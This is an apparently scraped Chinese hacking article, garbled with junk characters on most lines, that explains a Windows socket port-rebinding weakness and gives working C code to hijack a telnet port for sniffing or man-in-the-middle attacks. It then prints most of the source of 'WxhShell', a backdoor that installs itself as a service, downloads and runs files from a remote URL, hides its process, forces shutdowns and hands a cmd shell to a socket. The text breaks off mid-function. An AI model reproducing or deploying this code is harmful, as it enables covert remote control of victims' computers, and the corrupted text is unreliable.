在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
N0K){ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]c<qM_HWg ew;ur? saddr.sin_family = AF_INET;
]J* ,g, \S*$UE]uG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,bM-I2BR |\dZ' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kaxvPv1
?;wpd';c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bae\Zk%`^ }<>~sy 这意味着什么?意味着可以进行如下的攻击:
1VF
"+z?x~rk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K]qM~v<A R64!>o"nED 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N%7{J |.F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
op"$E1+ J0
k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:-iMdtm AsPx? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;>%~9j1C ui"3ak+F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;Og&FFs' 0x11
vr! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'=E3[0W qC_mu)6 #include
8 F2| #include
'lo #include
o7TN,([W #include
jYVE8Y)my DWORD WINAPI ClientThread(LPVOID lpParam);
iJv48#'ii int main()
(=16PYs {
y8s!M WORD wVersionRequested;
[3W*9j DWORD ret;
kF{*(r=.o WSADATA wsaData;
&(zfa&j| BOOL val;
E"%2) SOCKADDR_IN saddr;
aYn8^ SOCKADDR_IN scaddr;
4J|t?]ij|E int err;
YC=S5; SOCKET s;
T#
lP!c SOCKET sc;
/({;0I*!i int caddsize;
B_ja&) !s1 HANDLE mt;
`^(jm DWORD tid;
`k;KBW wVersionRequested = MAKEWORD( 2, 2 );
=H %-.m'f2 err = WSAStartup( wVersionRequested, &wsaData );
FG%j{_Ez if ( err != 0 ) {
2oZ9laJO printf("error!WSAStartup failed!\n");
X 6lH|R return -1;
^*&X~8@) }
:s-o0$PlJ saddr.sin_family = AF_INET;
EQIUSh)M `p0ypi3hn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A])P1c. 7" wNNB;n`l saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
K9[e> saddr.sin_port = htons(23);
wQ+dJ3b$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U{~SXk'2+ {
-h-oMqgu( printf("error!socket failed!\n");
,&7Wa-vf return -1;
:Pq.,s }
659v\51* val = TRUE;
8L5!T6+D& //SO_REUSEADDR选项就是可以实现端口重绑定的
3ta$L"a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mPPk)qy {
Cs@ +r printf("error!setsockopt failed!\n");
6al=Cwf return -1;
>Z Ke }
S'U@X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\OC6M` / //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pO~c<d}b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.>Z,uT^A F?u^"}%Fc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y^Vw`-e {
Nt:8ogk/ ret=GetLastError();
ukuo:P<a
printf("error!bind failed!\n");
Jqr)V2Y return -1;
_M,lQ~ }
~%ozgzr^ listen(s,2);
U>S`k6 while(1)
%8)W0WMe {
Qn:kz*: caddsize = sizeof(scaddr);
0_ yP\m //接受连接请求
XM|%^ry sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`C_'|d<HA if(sc!=INVALID_SOCKET)
b-@\R\T {
6<Hu8$G| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/^#G0f*N if(mt==NULL)
|%D%0TR&Q {
"Vd_CO printf("Thread Creat Failed!\n");
7m9"8
break;
+VU4s$w6 }
c 5`US }
68R1AqU_ CloseHandle(mt);
H]31l~@] }
BF8"rq}r0 closesocket(s);
DB`QsiC) WSACleanup();
]M,06P>? return 0;
},+~F8B }
\k.vN@K# DWORD WINAPI ClientThread(LPVOID lpParam)
I<h=Cj[[ {
Ulqh@CE) SOCKET ss = (SOCKET)lpParam;
vt]F U< SOCKET sc;
noNm^hFL unsigned char buf[4096];
rUwE?Ekn/ SOCKADDR_IN saddr;
Vm8D "I5i long num;
W7UtA.2LT DWORD val;
|$hgT K[L DWORD ret;
V!|e#}1/ //如果是隐藏端口应用的话,可以在此处加一些判断
]UNZd/hIL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
FUeq
\Wuo saddr.sin_family = AF_INET;
}qC SS<a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&1)xoZ'\ saddr.sin_port = htons(23);
mVm4fHEYwU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A%ywj'|z {
uhn%lV] printf("error!socket failed!\n");
9 Aivf+ return -1;
h8^i\j }
y7zkAXhJ val = 100;
sm s1%%~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pbB2wt {
3n(*E_n ret = GetLastError();
T!(
4QRh[ return -1;
TGWdyIk }
/jrY%C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3-Y=EH_0 {
n@B{vyy ret = GetLastError();
5RA<Z. return -1;
L:U4N* }
yMIT( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4DM L {
3sC:jIp printf("error!socket connect failed!\n");
=g0*MZ;" closesocket(sc);
d 7i#w
# closesocket(ss);
'yT`ef return -1;
ag]*DsBt }
>_#)3K1y8 while(1)
wr@GN8e` {
Ve:&'~F2 s //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
SL*DK. //如果是嗅探内容的话,可以再此处进行内容分析和记录
oYq,u@oM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
my[,w$YM num = recv(ss,buf,4096,0);
}=pOiILvD if(num>0)
92(~'5Qr send(sc,buf,num,0);
, ,{6m
d else if(num==0)
T#e4":A&x break;
`V~LV<v5 num = recv(sc,buf,4096,0);
XWF7#xM if(num>0)
{F)E\)$G send(ss,buf,num,0);
}wkaQQh else if(num==0)
ftW{C1,U7 break;
B}k'@;G }
8DL hk closesocket(ss);
:xN8R^( closesocket(sc);
P7Z<0Dt\} return 0 ;
45r|1<R o }
qV?sg ox
JGJ ${0%tCE ==========================================================
-}AE\qXs/ >EeAPO4 下边附上一个代码,,WXhSHELL
xLLC)~ G#g{3}dcK ==========================================================
n1JC?+ j`+0.Zlq #include "stdafx.h"
WkcH5[ 2Z-,c;21 #include <stdio.h>
"?`JA7~g #include <string.h>
`L+~&M #include <windows.h>
+0dQORo #include <winsock2.h>
kkHTbn=! #include <winsvc.h>
/H.(d 4C #include <urlmon.h>
`6n!$Cxo A&;EV#]ge #pragma comment (lib, "Ws2_32.lib")
Sn+FV+D #pragma comment (lib, "urlmon.lib")
\kfcv #?A]v>I;C #define MAX_USER 100 // 最大客户端连接数
QId"Cl)3 #define BUF_SOCK 200 // sock buffer
65;|cmjv #define KEY_BUFF 255 // 输入 buffer
- a o- cj&Cv% #define REBOOT 0 // 重启
f<) Ro$ #define SHUTDOWN 1 // 关机
W{L DBLA% {05 #define DEF_PORT 5000 // 监听端口
HDa~7wE g"TPII$ #define REG_LEN 16 // 注册表键长度
s+(l7xH$ #define SVC_LEN 80 // NT服务名长度
],H1 0~(\lkh*!9 // 从dll定义API
&e/@yu)x, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
l7!U),x%/U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
rSM$E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HKq2Js typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y|FBYcn#F NvEm,E\| // wxhshell配置信息
4jDs0Hn" struct WSCFG {
HVtr,jg int ws_port; // 监听端口
i5ajM,i/K char ws_passstr[REG_LEN]; // 口令
;,Of\Efc| int ws_autoins; // 安装标记, 1=yes 0=no
Y\+(rC27 char ws_regname[REG_LEN]; // 注册表键名
:;" aUHU' char ws_svcname[REG_LEN]; // 服务名
Dq0-Kf,^ char ws_svcdisp[SVC_LEN]; // 服务显示名
[]GthF char ws_svcdesc[SVC_LEN]; // 服务描述信息
N1D6D$s 0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|V5 $'/Y int ws_downexe; // 下载执行标记, 1=yes 0=no
\O8Y3|< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j|^-1X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ZXFAuF Yio>ft&g] };
cq'}2pob ^yEj]]6 // default Wxhshell configuration
G\'u~B/w struct WSCFG wscfg={DEF_PORT,
[dSDg2] "xuhuanlingzhe",
PfwI@%2 1,
I_"Hgx< "Wxhshell",
m &0(% "Wxhshell",
PK:o}IWn~x "WxhShell Service",
C8bGae( "Wrsky Windows CmdShell Service",
@%I_&!d "Please Input Your Password: ",
*G2)@0
{ 1,
reqfgNg "
http://www.wrsky.com/wxhshell.exe",
N$=(1`zM= "Wxhshell.exe"
mkj;PYa };
I]uOMWZs 78^UgO/ // 消息定义模块
. Ce&9l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
EPE!V> char *msg_ws_prompt="\n\r? for help\n\r#>";
7dM6;`V^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
';;p8bv+ char *msg_ws_ext="\n\rExit.";
hJC
p0F9O char *msg_ws_end="\n\rQuit.";
Dr8WV\4@ char *msg_ws_boot="\n\rReboot...";
&viwo}ls0 char *msg_ws_poff="\n\rShutdown...";
ex@,F,u>o char *msg_ws_down="\n\rSave to ";
/el["l -H ac^4uF char *msg_ws_err="\n\rErr!";
g~ppPAH char *msg_ws_ok="\n\rOK!";
^LEmi1L ^hl]s?"3 char ExeFile[MAX_PATH];
g "K#& int nUser = 0;
cKi^C HANDLE handles[MAX_USER];
$ +GFOO int OsIsNt;
m
p|20`go EL 8N[]RF SERVICE_STATUS serviceStatus;
HX /GLnY/X SERVICE_STATUS_HANDLE hServiceStatusHandle;
3gPD(r1g oqd
N5+xt // 函数声明
XL. CJ5y> int Install(void);
HP4'8#3o int Uninstall(void);
90y9~.v int DownloadFile(char *sURL, SOCKET wsh);
bCE7hutl int Boot(int flag);
#pDGaqeX void HideProc(void);
c`$`0} int GetOsVer(void);
iX>!ju'V int Wxhshell(SOCKET wsl);
>^a"Z[s[ void TalkWithClient(void *cs);
9znx1AsN int CmdShell(SOCKET sock);
z[KN^2YS int StartFromService(void);
@
(u?=x; int StartWxhshell(LPSTR lpCmdLine);
d=4f`q0k )v!lP pe8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f9l<$l VOID WINAPI NTServiceHandler( DWORD fdwControl );
IioE<wS) z[|PsC3i: // 数据结构和表定义
{xBjEhQm SERVICE_TABLE_ENTRY DispatchTable[] =
i_E#cU {
bE`*Uw4 {wscfg.ws_svcname, NTServiceMain},
+/b4@B7 {NULL, NULL}
G2yUuyAZ };
ELgae1 Dt~}9HrU // 自我安装
}N#>q.M int Install(void)
\xO2WD {
uuUVE/^V' char svExeFile[MAX_PATH];
,5A>:2 zs HKEY key;
Q~w G(0'8 strcpy(svExeFile,ExeFile);
DKVt8/vq .e
_D3Xp< // 如果是win9x系统,修改注册表设为自启动
"<. if(!OsIsNt) {
?_Dnfa_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M9 2~iM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tzW<&^ RegCloseKey(key);
ad$Qs3)6o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M%5$-;6~_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J_wz'eIb0 RegCloseKey(key);
7f\^VG return 0;
DCt:EhC }
\(>$mtS: }
[A..<[ }
xXU/m| else {
uQ%HLL-W/ B]KLn?zt5 // 如果是NT以上系统,安装为系统服务
<9k}CXv2PK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)p^jsv. if (schSCManager!=0)
&9lc\Y4PY {
_g`0td>N SC_HANDLE schService = CreateService
@xF8' [< (
wpdEI( schSCManager,
vK.4JOlRF wscfg.ws_svcname,
9c;lTl^4; wscfg.ws_svcdisp,
~Yz/t SERVICE_ALL_ACCESS,
wCTR-pL^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{kRC!} SERVICE_AUTO_START,
W7[S7kd SERVICE_ERROR_NORMAL,
]>4Qs svExeFile,
9]F&Fz/G NULL,
F+$@3[Q`N NULL,
q\HBAry NULL,
.sR&9FH NULL,
}.$B1%2 NULL
_}D?+x,C8 );
=+-.5M if (schService!=0)
4p.{G%h {
!6/IKh`J CloseServiceHandle(schService);
Y6Qb_X: CloseServiceHandle(schSCManager);
gcCYXPZp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Rw{v"n strcat(svExeFile,wscfg.ws_svcname);
b oOw
K? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'MQGR@* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0?Wf\7 RegCloseKey(key);
}~CZqIP return 0;
taEMr> / }
lg }
JiLrwPex[ CloseServiceHandle(schSCManager);
$)7f%II }
Qn3+bF4 }
}0nB'0|y =+=|{l?F return 1;
}qdJ8K }
U(]5U^ 2y7q
x1$C // 自我卸载
F}.TT=((8 int Uninstall(void)
*Z2Q]?:{
i {
+\oHQ=s>}\ HKEY key;
2b,TkG8K gO%i5 if(!OsIsNt) {
/aa;M*Qp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5XUI7Q% RegDeleteValue(key,wscfg.ws_regname);
GO3YXO33 RegCloseKey(key);
QIV~)`; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'^(v8lCu RegDeleteValue(key,wscfg.ws_regname);
<0
idG RegCloseKey(key);
[f(^vlK return 0;
cRr `r[t }
S|4/C }
iC+H;s5< }
#=#$b _6* else {
a&VJYAB I3$vw7}5Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wSyu^KDz if (schSCManager!=0)
B[|/wHMsT} {
W1`ZS*12D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3i}B\
{ if (schService!=0)
[:S F(*} {
:|Nbk58 if(DeleteService(schService)!=0) {
XRz6Yf(/ CloseServiceHandle(schService);
J5IJy3d CloseServiceHandle(schSCManager);
h5keYBA return 0;
/iuNdh }
\bSHBTK CloseServiceHandle(schService);
(
+hI }
F|Ihq^q CloseServiceHandle(schSCManager);
"a{f?
.X. }
?R:Hj=. }
;<<IXXKU Jz0S2& return 1;
@il}0 }
P`"DepeD to=##&ld< // 从指定url下载文件
&L~rq)r/& int DownloadFile(char *sURL, SOCKET wsh)
x,_Ucc. {
#[yl;1) HRESULT hr;
bC-x`a@ char seps[]= "/";
rep"xV&|>o char *token;
#8OqX*/ char *file;
kl"Cm`b) char myURL[MAX_PATH];
^D[;JV char myFILE[MAX_PATH];
M0
8Y Wh_c<E}& strcpy(myURL,sURL);
h8Si,W3o token=strtok(myURL,seps);
K_3ZJ while(token!=NULL)
%TgM-F,8 {
)D*xOajo+l file=token;
P[i/o# token=strtok(NULL,seps);
7HFO-r118 }
gMn)<u > e)"cm;BJ^P GetCurrentDirectory(MAX_PATH,myFILE);
/^G+vhlf\ strcat(myFILE, "\\");
^umAfk5r?H strcat(myFILE, file);
i( HhL& send(wsh,myFILE,strlen(myFILE),0);
) &-E@% \ send(wsh,"...",3,0);
E5Jk+6EcMa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>.4Sx~VH2 if(hr==S_OK)
6si-IJ return 0;
|-D. else
pE,BE% return 1;
a@J:*W
j"s(? }
9t1_"{'N1 #u@!O%MJ // 系统电源模块
Q pq0j^\ int Boot(int flag)
iSlVe~ef {
ZrS!R[ HANDLE hToken;
%xz02$k TOKEN_PRIVILEGES tkp;
,#loVLy \gpKQt0 if(OsIsNt) {
^pa).B.`T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"RA$Twhj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
etVE8N' tkp.PrivilegeCount = 1;
-bF+uCfba tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]3'd/v@fT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!ZW0yCwLQ if(flag==REBOOT) {
eSU8/9B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`( Gk_VAa return 0;
dX=^>9hN/ }
[f}1wZ* else {
i^l;PvIF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<n{9pZ5. return 0;
+qec>ALAg }
6"(&lK\^ }
3Y8
V?* 1| else {
t {}1f if(flag==REBOOT) {
}s[/b"%y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~-/AKaK} return 0;
[geY:v_B }
qDW/8b\ ^ else {
f
WXzK< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jg(A_V return 0;
I1,?qr"Zr }
XQA2uR4h }
:.,I4>b2 LmE-&
return 1;
@[Th{HTc.G }
`g~-5Z~J mqL+W // win9x进程隐藏模块
eu=2a> void HideProc(void)
eMwf'*# {
p=zm_+= sMx\WTyz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
21qhlkdc if ( hKernel != NULL )
xjYFTb}! {
BG"6jQh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M<nn+vy` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Syk^7l FreeLibrary(hKernel);
-_3.]o/J }
RjT[y: ! 3]i1M%'i return;
1X5\VY>S`h }
62"ND+D4 =ZQIpc // 获取操作系统版本
yWuq/J: int GetOsVer(void)
bpzA '
g> {
-l",!sV OSVERSIONINFO winfo;
+vP1DXtj( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:MVD83?4 GetVersionEx(&winfo);
c1`o3gb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<Wd$6 return 1;
G9
!1Wzs else
Wg[`H=)Q return 0;
,oCr6 ] }
=k'dbcfO$9 jHd~yCq // 客户端句柄模块
a4wh-35/ int Wxhshell(SOCKET wsl)
&^EkM {
e\89;) SOCKET wsh;
()rDM@ struct sockaddr_in client;
WIg"m[aIs DWORD myID;
]OVjq? O@[q./VV, while(nUser<MAX_USER)
Q~9:}_@ {
A1|:$tED+2 int nSize=sizeof(client);
. &e,8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j_}e%,} if(wsh==INVALID_SOCKET) return 1;
/4|qfF3 0zd1:*KR, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SbB5J> >7J if(handles[nUser]==0)
w4OVfTlN closesocket(wsh);
/ZczfM\ else
P=h2Z,2 nUser++;
yCz?V[49 }
mBNa;6w?{* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-Xj+7}4 8Vq,J :+ return 0;
S\C }
os>|LPv4 n_aKciF // 关闭 socket
htaB!Q?V void CloseIt(SOCKET wsh)
? 0%lB=qQ {
w,\Ua&>4 closesocket(wsh);
cD{[rI
E3 nUser--;
)wKuumet ExitThread(0);
U $+rlw} }
4Ld0AApncy -i58FJ`B // 客户端请求句柄
?J>^X-z void TalkWithClient(void *cs)
X}^,g {
~<|xS
4b 4nFRnH SOCKET wsh=(SOCKET)cs;
TfJB; char pwd[SVC_LEN];
m86w{b$8 char cmd[KEY_BUFF];
rtY0? char chr[1];
Q<"zpwHR int i,j;
vHao
y w7O(I" while (nUser < MAX_USER) {
?4xTA
G $?VYC8; if(wscfg.ws_passstr) {
/9[nogP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JK,k@RE y] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C[~b6UP //ZeroMemory(pwd,KEY_BUFF);
@$Y`I{Xf i=0;
Fm*O&6W\@A while(i<SVC_LEN) {
'*22j ] lGs fs( // 设置超时
e\/Lcng fd_set FdRead;
wJ+"JQY.J+ struct timeval TimeOut;
Nn%{Ka FD_ZERO(&FdRead);
[
h%ci3 FD_SET(wsh,&FdRead);
-[ F<u TimeOut.tv_sec=8;
O"Ar3> TimeOut.tv_usec=0;
Cgt{5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
! k&< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M,6m* IX-ir if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qdzc"-gH` pwd
=chr[0]; 6N6d[t"
if(chr[0]==0xd || chr[0]==0xa) { ]_j{b)t
pwd=0; Io|
72W}rg
break; kIM* K%L}
} 3TO$J
i++; YwEXTy>0
} DaaLRMQ=
J,k9?nkY /
// 如果是非法用户,关闭 socket jiz"`,-},O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y~;Kf0~
} |odl~juU
"5]GEzM3O
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $--W,ov5j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l3-;z)SgH
}7k+tJ<
while(1) {
>OmY
|no '^
ZeroMemory(cmd,KEY_BUFF); 8D)2/$NsY}
H 2\KI(
// 自动支持客户端 telnet标准 r0}Z&>]66N
j=0; ^#p Su
while(j<KEY_BUFF) { W8R@Pf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $
^m_M.1
cmd[j]=chr[0]; 3\G&fb|?}R
if(chr[0]==0xa || chr[0]==0xd) { 4 mPCAA7
cmd[j]=0; 4Rp2
break; O$LvHv!
} K6{{\r
j++; ;)~loa1\
} ~~]L!P
*EvnN:
// 下载文件 RL
SP?o2J
if(strstr(cmd,"http://")) { {w1sv=$+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (sz=IB ;
if(DownloadFile(cmd,wsh)) d7qHUx'=z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C1Slx!}
else 8$BZbj%?hx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }L3k pw
} $ohIdpZLH2
else { -P^ 6b(
Rku9? zf^
switch(cmd[0]) { 6$lj$8\
$RfM}!7?
// 帮助 *am.NH\
case '?': { ~8o's`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bO^#RVH
break; F\yxXOI
} 5^~%10=
// 安装 2xN1=ug
case 'i': { LkD$\i
if(Install()) h S/oOeG<Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G>qzAgA
else b)tvXiO1>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~.:B2=5K
break; 3M=ym.
} qM~ev E$%
// 卸载 ^F"Q~?D)
case 'r': { \cP\I5IW:s
if(Uninstall()) W9D]s~bO;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); , |,DXw
else VImcW;Xa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &'uFy0d,
break; v}q3_m]
} (iXo\y`z
// 显示 wxhshell 所在路径 P,^`|\#7
case 'p': { M.iR5Uh
char svExeFile[MAX_PATH]; M^JRHpTn
strcpy(svExeFile,"\n\r"); E5(\/;[*`
strcat(svExeFile,ExeFile); n7>CK?25
send(wsh,svExeFile,strlen(svExeFile),0); %]S~PKx
break; q-P$ \":
} g}
7FR({b
// 重启 #Cks&[!c
case 'b': { [XK Ke
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &^KmfT5C
if(Boot(REBOOT)) Mn7nS:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mojD
else { [HGGXgN
closesocket(wsh); 20h|e+3
ExitThread(0); !VUxy
} {h5 S=b
break; He^u+N@B
} _R-[*ucq
// 关机 1:%HE*r
case 'd': { m`l3@Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xo]QV.n
if(Boot(SHUTDOWN)) , v,mBYaU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Hxvt~P
else { (ds-p[`[m
closesocket(wsh); T|dQY~n~
ExitThread(0); %upnXRzw
} U+gOojRy{
break; W!|A3V35\:
} o%_MTCANy
// 获取shell $xqI3UaX
case 's': { T7`9[
CmdShell(wsh); 'wB6-
closesocket(wsh); ^{\gD23
ExitThread(0); JbN@AX:%
break; 6) {jHnk)
} |d}f\a`
// 退出 v).V&":
case 'x': { <8Y;9N|94!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3NRxf8
CloseIt(wsh); l`D^)~o8
break; ?0k(wiF
} )QS4Z{)U
// 离开 *c'nPa$+|S
case 'q': { wO:!B\e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^~~&[wY
closesocket(wsh); ]l\'1-/
WSACleanup(); Qx{k_ye`
exit(1); M =Pn8<h~
break; nk.m Gny
} |^&n\vXv
} *K#7,*Oz
} :.5l9Ci4
ILdRN
// 提示信息 #Hm*<s.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jM`)Nd
} zs#s"e:jeR
} ~<b/%l>h1
lR]z8&
return; g%()8QxE1
} WmU5YZ(mAq
01v7_*'R
// shell模块句柄 IHqY/ j
int CmdShell(SOCKET sock) o!.\+[
{ 0ox
8_l
STARTUPINFO si; /7W N,a
ZeroMemory(&si,sizeof(si)); jIY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A)9[.fhx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1 o<l;:
PROCESS_INFORMATION ProcessInfo; 6u-@_/O5R3
char cmdline[]="cmd"; !e~Yp0gX#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }6/L5j:+
return 0; Hg8n`a;R
} b=:$~N@Y
[$; \1P/
// 自身启动模式 |,zcrOo]
int StartFromService(void) HQi57QB
{ ]y&w